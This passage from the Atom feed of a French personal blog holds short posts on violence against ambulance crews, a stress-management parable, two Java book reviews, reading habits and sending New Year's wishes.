&lt;p&gt;Ceux qui ne me connaisse pas pourraient croire que je suis effrayé. Que nenni ! C&amp;rsquo;est une figure de style ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Pas de prétention la dedans, j&amp;rsquo;en fais partie hein !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ne tirez pas sur l'ambulance</title><link href="http://blog.namok.be/2013-01-28-ne-tirez-pas-sur-ambulance.html" rel="alternate"/><published>2013-01-28T00:00:00+01:00</published><updated>2013-01-28T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-28:/2013-01-28-ne-tirez-pas-sur-ambulance.html</id><summary type="html">Ne tirez pas sur l'ambulance</summary><content type="html">&lt;p&gt;Ne tirez pas sur l&amp;rsquo;ambulance… j&amp;rsquo;avais également pensé intituler ce post « &lt;strong&gt;Pompier et gilet pare-balles&lt;/strong&gt; »&lt;/p&gt;
&lt;p&gt;– Papa ! Tu t&amp;rsquo;es fait mal, tu saignes.&lt;br&gt;
– Oui, c&amp;rsquo;est cassé et ça saigne.&lt;br&gt;
– On voit ton os ! Qu&amp;rsquo;est-ce que je dois faire ?&lt;br&gt;
– Appelle l&amp;rsquo;ambulance…&lt;/p&gt;
&lt;p&gt;&lt;img alt="gwencorbisier-ath1.jpg" src="/images/gwencorbisier-ath1.jpg" title="gwencorbisier-ath1.jpg, janv. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Pour la plupart, ceci est un bon exemple de contexte d&amp;rsquo;appel de l&amp;rsquo;ambulance; je ne pourrai pas m&amp;rsquo;en sortir seul pour arriver à l&amp;rsquo;hôpital, il va falloir que l&amp;rsquo;on m&amp;rsquo;aide parce que c&amp;rsquo;est urgent.&lt;/p&gt;
&lt;p&gt;Lorsque l&amp;rsquo;on parle avec des pompiers professionnels &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, ils disent que ce genre d&amp;rsquo;interventions ne représentent pas 30% des sorties. Il faut sortir sur des &lt;em&gt;intox alcool&lt;/em&gt; (comprendre un bitu) ou autres produits, &lt;em&gt;tentative de suicide&lt;/em&gt;, &lt;em&gt;différent familial&lt;/em&gt; qui a dégénéré (comprendre coups, arme blanche, etc)… pour ces sorties, le patient et l&amp;rsquo;entourage ne sont pas toujours des plus accueillants.&lt;/p&gt;
&lt;p&gt;Ce qui est neuf, c&amp;rsquo;est que ce genre d&amp;rsquo;accueil &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; n&amp;rsquo;est plus rarissime &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; (ce billet se fait l&amp;rsquo;écho de l&amp;rsquo;actualité à Mons). Alors que mes proches distinguent très bien la différence entre un policier qui a &lt;strong&gt;entre autre&lt;/strong&gt; un rôle répressif et un pompier-ambulancier qui a comme seul objectif de transporter dans les meilleures conditions son patient vers l&amp;rsquo;hôpital le plus proche, certaines personnes confondent allègrement les deux et n&amp;rsquo;accueillent plus le pompier comme quelqu&amp;rsquo;un qui vient les aider mais comme un ennemi !&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.rtbf.be/info/regions/detail_de-plus-en-plus-de-violence-sur-le-terrain-constatent-les-services-de-secours?id=7916165"&gt;Une réponse envisagée&lt;/a&gt; est de fournir les gilets qui protègent des coups de lame. Bien que je comprenne parfaitement qu&amp;rsquo;il faille se protéger, je pose une question;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voulons-nous vivre dans une société ou certains tirent sur l&amp;rsquo;ambulance ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.rtbf.be/info/regions/detail_de-plus-en-plus-de-violence-sur-le-terrain-constatent-les-services-de-secours?id=7916165"&gt;RTBF Info&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://gwencorbisier.be"&gt;Crédit photo, Gwen Corbisier&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h5&gt;À lire aussi&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-11-25-evaluation-quinquennale-et-evaluation-tout-court.html"&gt;Évaluation quinquénale et évaluation tout court&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-08-12-Sapeur-pompier-11h-de-repos-obligatoire.html"&gt;Sapeur-pompier, 11h de repos obligatoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-02-18-Mon-mot-de-passe-c-est-secret.html"&gt;Mon mot de passe, c&amp;rsquo;est secret&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-08-25-Proposition-de-logo-pour-les-pompiers-zone-hainaut-ouest.html"&gt;Proposition de logo pour les pompiers, zone hainaut ouest&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Nous sommes encore un peu épargnés en tant que pompier volontaire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Se faire agresser verbalement devient monnaie courante. Se faire agresser physiquement n&amp;rsquo;est pas rare. Être soi-même en danger, ça vient 😩&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je parle toujours des échos des villes. Les ambulanciers des champs ne vivent ça que rarement.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le sens du mouvement perpétuel</title><link href="http://blog.namok.be/2013-01-27-le-sens-du-mouvement-perpetuel.html" rel="alternate"/><published>2013-01-27T00:00:00+01:00</published><updated>2013-01-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-27:/2013-01-27-le-sens-du-mouvement-perpetuel.html</id><summary type="html">Le sens du mouvement perpétuel</summary><content type="html">&lt;p&gt;Certaines personnes se demandent quelle est l&amp;rsquo;explication du mouvement perpétuel ?&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai trouvé que &lt;a href="2013-01-27-le-sens-du-mouvement-perpetuel.html"&gt;cette seule bonne explication&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tournez_s_v_p__by_unter_wegs-d5003xi.jpg" src="/images/tournez_s_v_p__by_unter_wegs-d5003xi.jpg" title="tournez_s_v_p__by_unter_wegs-d5003xi.jpg, janv. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://unter-wegs.deviantart.com/art/tournez-s-v-p-302335974"&gt;Crédit photo, Unter wegs&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Combien pèse un verre d'eau ?</title><link href="http://blog.namok.be/2013-01-25-combien-pese-un-verre-eau.html" rel="alternate"/><published>2013-01-25T00:00:00+01:00</published><updated>2013-01-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-25:/2013-01-25-combien-pese-un-verre-eau.html</id><summary type="html">Combien pèse un verre d'eau ?</summary><content type="html">&lt;p&gt;&lt;img alt="Une danseuse dans un verre d'eau" src="/images/angel_water_by_pmurciano-d4av3qf.jpg" title="Une danseuse dans un verre d'eau" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;– Combien pèse un verre d&amp;rsquo;eau ?&lt;br&gt;
– Si je le tiens une minute, ce n&amp;rsquo;est pas un problème. Si je le tiens pendant une heure, j&amp;rsquo;aurai de la douleur dans mon bras droit. Si je le tiens pour toute la journée, vous allez devoir appeler une ambulance. Dans tous les cas c&amp;rsquo;est le même &lt;strong&gt;poids&lt;/strong&gt;, mais plus longtemps je le tiens, plus il devient &lt;strong&gt;lourd&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est comme ça que commence le texte que je reçois dans ma &lt;em&gt;bàl&lt;/em&gt; et je trouve qu&amp;rsquo;il invite à la réflexion. Ce mail était l&amp;rsquo;introduction d&amp;rsquo;une invitation de la part d&amp;rsquo;un conférencier, dont j&amp;rsquo;ai oublié le nom, à un atelier sur la &lt;strong&gt;gestion du stress&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Le conférencier continue&lt;/p&gt;
&lt;p&gt;– Le poids absolu de ce verre n&amp;rsquo;a aucune importance. Tout dépend de la durée que vous essayez de le tenir.&lt;/p&gt;
&lt;p&gt;Pour la gestion du stress, c&amp;rsquo;est pareil, si l&amp;rsquo;on porte un fardeau continuellement, il deviendra trop lourd à porter. Par contre, si on le dépose régulièrement, il sera possible de se reposer et lorsqu&amp;rsquo;il faudra le reprendre, il paraitra plus léger.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://murciano.deviantart.com/art/Angel-Water-260112039"&gt;Crédit photo, Murciano&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Livre #2 - The Java Tutorial Continued (The rest of the JDK)</title><link href="http://blog.namok.be/2013-01-10-livre-2-the-java-tutorial-continued.html" rel="alternate"/><published>2013-01-10T00:00:00+01:00</published><updated>2013-01-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-01-10:/2013-01-10-livre-2-the-java-tutorial-continued.html</id><summary type="html">Livre #2 - The Java Tutorial Continued (The rest of the JDK)</summary><content type="html">&lt;p&gt;Tous les matins 10h, un nouveau livre, une nouvelle fracture de l&amp;rsquo;œil &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;… c&amp;rsquo;est plutôt deux fois l&amp;rsquo;an mais l&amp;rsquo;important c&amp;rsquo;est l&amp;rsquo;accroche ! &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui donc ; &lt;strong&gt;The Java Tutorial Continued &lt;em&gt;The rest of the JDK&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="books-jdkcontinued.jpg" src="/images/books-jdkcontinued.jpg" title="books-jdkcontinued.jpg, janv. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Dans la première partie du cours de langage Java que nous donnons à l&amp;rsquo;école, nous essayons de couvrir le noyau du langage. Comme c&amp;rsquo;est une première approche d&amp;rsquo;un langage de programmation, le temps imparti ne nous permet pas d&amp;rsquo;aller dans tous les détails.&lt;/p&gt;
&lt;p&gt;Parfois un exercice nous permet d&amp;rsquo;aborder un concept supplémentaire mais ça varie chaque année…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Choisir, c&amp;rsquo;est renoncer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sans être compliqué, et bien qu&amp;rsquo;il soit vieux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, ce livre aborde des concepts intéressants simplement pour « aller un peu plus loin » &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Au menu, on trouve:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;une présentation un peu plus complète &lt;strong&gt;des collections en java&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;On dépasse les notions de &lt;em&gt;List&lt;/em&gt; et de &lt;em&gt;ArrayList&lt;/em&gt; pour arriver aux &lt;em&gt;Map&lt;/em&gt; et autres &lt;em&gt;Set&lt;/em&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;i18n&lt;/strong&gt; &lt;em&gt;aka&lt;/em&gt; l&amp;rsquo;internationalisation ou « Comment écrire une application qui gère plusieurs langues ». Ce n&amp;rsquo;est pas complexe, mais il faut voir une première fois comment utiliser les fichiers &lt;em&gt;properties&lt;/em&gt; et les classes &lt;em&gt;Bundle&lt;/em&gt; pour y arriver proprement;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;Graphics 2D&lt;/strong&gt; qui peut être passée car on peut lire simplement le &lt;strong&gt;Guide du graphiste 2D&lt;/strong&gt; que l&amp;rsquo;on propose dans le cadre du cours d&amp;rsquo;ateliers logiciel;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;Sound engine&lt;/strong&gt; permettant de jouer de la musique… pour l&amp;rsquo;étudiant intéressé &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;JDBC&lt;/strong&gt; à destination des étudiants d&amp;rsquo;ateliers logiciels toujours qui préfèrent lire un livre plutôt que de suivre un tutoriel;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;Remote Method Invocation&lt;/strong&gt; destinée, à nouveau, aux étudiants d&amp;rsquo;ateliers logiciels (plutôt en industrielle et en réseau) qui ont entendu dire que l&amp;rsquo;on pouvait s&amp;rsquo;abstraire des &lt;em&gt;sockets&lt;/em&gt; pour écrire des applications client / serveur. RMI permet d&amp;rsquo;invoquer des objets à distance;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;strong&gt;Java IDL et des servlets&lt;/strong&gt; que je n&amp;rsquo;ai pas parcouru (honte sur moi);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de ce que l&amp;rsquo;on peut mettre en œuvre en terme de &lt;strong&gt;sécurité&lt;/strong&gt; avec Java. Ce chapitre est assez vaste, il aborde des concepts de contrôle d&amp;rsquo;accès aux ressources, de contrôle et de génération de signatures, de gestion de clés…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation du &lt;strong&gt;format JAR&lt;/strong&gt; plus complète que la simple génération d&amp;rsquo;un &lt;em&gt;jar&lt;/em&gt; vue en première;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de &lt;em&gt;Java Native Interface&lt;/em&gt;, un moyen offert par  java pour exécuter du code écrit dans un autre langage (les exemples sont donnés en C);&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une présentation de la &lt;strong&gt;rétrospection&lt;/strong&gt; (&lt;em&gt;reflexion&lt;/em&gt;) présentée parfois en ateliers logiciels;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce livre permet donc d&amp;rsquo;aborder des concepts &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; qui &lt;strong&gt;devront être connu à un moment ou à un autre par un programmeur Java&lt;/strong&gt;. En ce sens, je conseille de le parcourir.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Enjoy…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;ISBN - 9780201485585&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2012-12-17-livre-1-software-architecture-design-patterns-in-java.html"&gt;Livre #1 - Software architecture design patterns in Java&lt;/a&gt;&lt;br&gt;
&lt;a href="2011-10-16-bouquin-C.html"&gt;Quel bouquin acheter pour le C… le KR évidement&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Il parle de JDK 2 et ne connait, à &lt;em&gt;fortiori&lt;/em&gt; pas le &lt;em&gt;foreach&lt;/em&gt; par exemple&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Il est donc bien à consulter par un étudiant de première qui s&amp;rsquo;ennuie sur le temps de midi ou pendant une heure de fourche (la bibliothèque est chauffée)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Comprendre que moi je ne le suis pas \^\^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Hormis peut-être l&amp;rsquo;API sound&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;C&amp;rsquo;est évidemment une référence à &lt;a href="https://bonjourmadame.fr"&gt;Bonjour Madame NSFW&lt;/a&gt; un site de mec « incontournable » en ce sens que ça a fait un peu le &lt;em&gt;buzz&lt;/em&gt; dans les années 2010. Souvent copié, jamais égalé.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Pourquoi les adultes lisent-ils sur les chiottes ?</title><link href="http://blog.namok.be/2012-12-31-pourquoi-les-adultes-lisent-ils-sur-les-chiottes.html" rel="alternate"/><published>2012-12-31T00:00:00+01:00</published><updated>2012-12-31T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-12-31:/2012-12-31-pourquoi-les-adultes-lisent-ils-sur-les-chiottes.html</id><summary type="html">Pourquoi les adultes lisent-ils sur les chiottes ?</summary><content type="html">&lt;p&gt;Mes « Spirou ».&lt;/p&gt;
&lt;p&gt;Je lis essentiellement le magazine « Spirou » et non plus « Le vif » bien que je sais que je devrais lire les deux. Mes « Spirous » trônent dans les toilettes et c&amp;rsquo;est là, comme la plupart d&amp;rsquo;entre nous que je les lis.&lt;/p&gt;
&lt;p&gt;&lt;img alt="DSC_0383.JPG" src="/images/DSC_0383.jpg" title="DSC_0383.JPG, déc. 2012" width="100%"&gt;&lt;br&gt;
&lt;em&gt;(Je ne suis pas le seul. La relève est assurée.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pourquoi lire sur les chiottes ?&lt;br&gt;
Imaginons qu&amp;rsquo;aujourd&amp;rsquo;hui, je décide de m&amp;rsquo;asseoir dans le salon et d&amp;rsquo;y ouvrir mon magasine. En effet, pourquoi ne pourrais-je pas lire dans le fauteuil ?&lt;/p&gt;
&lt;p&gt;— Chouchou ! T&amp;rsquo;es où ? Ah tu lis, je me demandais ou tu étais, je continue de ranger.&lt;br&gt;
— Ok, j&amp;rsquo;arrive aider.&lt;/p&gt;
&lt;p&gt;— Papa ! C&amp;rsquo;est quoi ton livre tu veux bien me le lire ?&lt;/p&gt;
&lt;p&gt;— Papapapapapa buuueuuu, en grimpant sur les genoux et essayant de tourner les pages en les arrachant.&lt;/p&gt;
&lt;p&gt;Bon, je retourne dans les toilettes…&lt;/p&gt;
&lt;p&gt;— Maman ! Papa y reste longtemps aux toilettes !&lt;/p&gt;
&lt;p&gt;Finalement, je pense que je le lirai la semaine prochaine. En attendant, qu&amp;rsquo;il s&amp;rsquo;ajoute sur la pile.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.behance.net/gallery/LECTRICES/5139107#"&gt;En cherchant «Lire aux toilettes»&lt;/a&gt; NSFW&lt;br&gt;
&lt;a href="http://spirou.com"&gt;Le magasine Spirou&lt;/a&gt;&lt;br&gt;
&lt;a href="http://levif.be"&gt;Le Vif&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo. C&amp;rsquo;est de moi et c&amp;rsquo;est &lt;a href="http://creativecommons.org/licenses/by-nc-nd/3.0/deed.fr"&gt;CC-BY-NC-ND&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Faut-il souhaiter ses vœux sur les réseaux sociaux ?</title><link href="http://blog.namok.be/2012-12-27-faut-il-souhaiter-ses-voeux-sur-les-reseaux-sociaux.html" rel="alternate"/><published>2012-12-27T00:00:00+01:00</published><updated>2012-12-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-12-27:/2012-12-27-faut-il-souhaiter-ses-voeux-sur-les-reseaux-sociaux.html</id><summary type="html">C'est l'époque des vœux et il est de bon ton de souhaiter une bonne année à ses proches.</summary><content type="html">&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;époque des vœux et il est de bon ton de souhaiter une bonne année à ses proches. En fait, je pense que tout le monde aime recevoir les bons vœux des amis. C&amp;rsquo;est l&amp;rsquo;occasion de voir que l&amp;rsquo;on a une petite place, si pas dans le cœur, au moins dans les pensées de l&amp;rsquo;autre.&lt;/p&gt;
&lt;p&gt;&lt;img alt="postcard-2.jpg" src="/images/postcard-2.jpg" title="postcard-2.jpg, déc. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aujourd&amp;rsquo;hui, le plus simple pour moi est de poster comme statut « Bonne année à tous ! » sur les réseaux sociaux&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Pour ma part, cela aura pour effet de toucher immédiatement 5 suiveurs sur identi.ca (dont 2 bots), 79 &lt;em&gt;followers&lt;/em&gt; sur Twitter et 416 &lt;em&gt;friends&lt;/em&gt; sur Facebook (sans compter ceux qui liront car c&amp;rsquo;est public). Le temps investi pour mes amis est de l&amp;rsquo;ordre des 5 secondes.&lt;/p&gt;
&lt;p&gt;Cette méthode ne me permettra pas de toucher mes parents, et tous les amis proches n&amp;rsquo;ayant pas de compte Facebook ou ne me lisant pas sur Twitter (on oublie les deux geeks sur identi.ca).&lt;/p&gt;
&lt;p&gt;Ceux que recevront mes vœux savent également quel est le temps que j&amp;rsquo;aurai consacré à leur souhaiter une heureuse année; 365 jours, 8760 heures, 525600 secondes… pour seulement 5 secondes d&amp;rsquo;investissement c&amp;rsquo;est rentable !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hier&lt;/strong&gt;, c&amp;rsquo;était facile d&amp;rsquo;envoyer un mail à tous ses amis ou du moins ceux à qui je désire souhaiter une bonne année. Pour ma part, je pouvais choisir un message de plus de 140 caractères parce que les mails, à l&amp;rsquo;inverse des &lt;em&gt;tweets&lt;/em&gt; n&amp;rsquo;ont pas vraiment une taille limite. Je pouvais aussi y joindre une photo (c&amp;rsquo;est mieux si la photo est personnelle mais c&amp;rsquo;est une autre histoire).&lt;/p&gt;
&lt;p&gt;Le temps investi est déjà plus important et cependant le message reste électronique. Si mon ami voit que le mail est envoyé a plein de gens, il sait que c&amp;rsquo;est un message général et que j&amp;rsquo;ai peut-être choisi son nom dans la liste par erreur !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avant-hier&lt;/strong&gt;, peut-être que je peux dire jadis, j&amp;rsquo;envoyais une carte postale &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; à mes proches et j&amp;rsquo;écrivais un mot personnalisé à chacun. Même si le même message apparait parfois plusieurs fois, je prend du temps à l&amp;rsquo;écrire et à noter l&amp;rsquo;adresse sur une enveloppe.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;y consacre une soirée et je suis content de savoir que mon ami recevra une carte postale dans sa boite aux lettres. Il saura que j&amp;rsquo;aurais, au moins pendant le temps de la rédaction, pensé à lui. Il saura que je tiens à lui souhaiter du bien pour l&amp;rsquo;année à venir. C&amp;rsquo;est tout une démarche de souhaiter ses vœux.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Et moi aujourd&amp;rsquo;hui ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finalement aujourd&amp;rsquo;hui&lt;/strong&gt; je tâcherai d&amp;rsquo;écrire un petit mot à mes proches sur une carte que j&amp;rsquo;envoie car je pense que ça a bien plus de valeur que de le lire dans un statut sur un réseau social quelconque.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Souhaiter ses vœux, ne doit pas être un geste anodin comme un statut sur un réseau social.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="http://happynewyearcards2012pictures.blogspot.be/"&gt;Crédit photo&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Jadis une carte achetée toute faite, avant-hier une carte imprimée pour l&amp;rsquo;occasion avec la photo des enfants (ça fait toujours plaisir une photo des enfants ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Livre #1 - Software architecture design patterns in Java</title><link href="http://blog.namok.be/2012-12-17-livre-1-software-architecture-design-patterns-in-java.html" rel="alternate"/><published>2012-12-17T00:00:00+01:00</published><updated>2012-12-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-12-17:/2012-12-17-livre-1-software-architecture-design-patterns-in-java.html</id><summary type="html">Livre #1 - Software architecture design patterns in Java</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Définition&lt;/strong&gt; En informatique, et plus particulièrement en développement logiciel, un patron de conception (en anglais : « design pattern ») est un arrangement caractéristique de modules, reconnu comme bonne pratique en réponse à un problème de conception d&amp;rsquo;un logiciel. Il décrit une solution standard, utilisable dans la conception de différents logiciels.&lt;/p&gt;
&lt;p&gt;Source &lt;a href="http://fr.wikipedia.org/wiki/Patron_de_conception"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="isbn-9780849321429.jpg" src="/images/isbn-9780849321429.jpg" title="isbn-9780849321429.jpg, déc. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Dans notre cursus, il n&amp;rsquo;y a pas de cours dédié aux &lt;em&gt;design pattern&lt;/em&gt;, ceux-ci étant abordés dans différents cours lorsque le besoin s&amp;rsquo;en fait sentir.&lt;/p&gt;
&lt;p&gt;Nous abordons « sur le tas » les concepts de; &lt;em&gt;singleton&lt;/em&gt;, &lt;em&gt;factory&lt;/em&gt;, &lt;em&gt;facade&lt;/em&gt;, &lt;em&gt;decorator&lt;/em&gt;, &lt;em&gt;observer&lt;/em&gt; et lorsque nous utilisons des &lt;em&gt;design pattern&lt;/em&gt; de base, nous ne précisons parfois pas que ce sont des &lt;em&gt;design pattern&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Il est peut-être bon de remettre tous ça dans l&amp;rsquo;ordre ou bien d&amp;rsquo;avoir une vue plus précise de l&amp;rsquo;un d&amp;rsquo;entre eux.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Un patron de conception est issu de l&amp;rsquo;expérience des concepteurs de logiciels. Il décrit sous forme de diagrammes un arrangement récurrent de rôles et d&amp;rsquo;actions joués par des modules d&amp;rsquo;un logiciel, et le nom du patron sert de vocabulaire commun entre le concepteur et le programmeur. D&amp;rsquo;une manière analogue à un patron de couture, le patron de conception décrit les grandes lignes d&amp;rsquo;une solution, qui peuvent ensuite être modifiées et adaptées en fonction des besoins.&lt;/p&gt;
&lt;p&gt;Source &lt;a href="http://fr.wikipedia.org/wiki/Patron_de_conception"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce livre en recense pas mal, est illustré de beaucoup d&amp;rsquo;exemples et est facile à aborder.&lt;/p&gt;
&lt;p&gt;Pour chaque &lt;em&gt;design pattern&lt;/em&gt;, le livre propose une description, une présentation en UML et des exemples en Java.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(Bientôt) disponible à la bibliothèque&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ISBN - 9780849321429&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
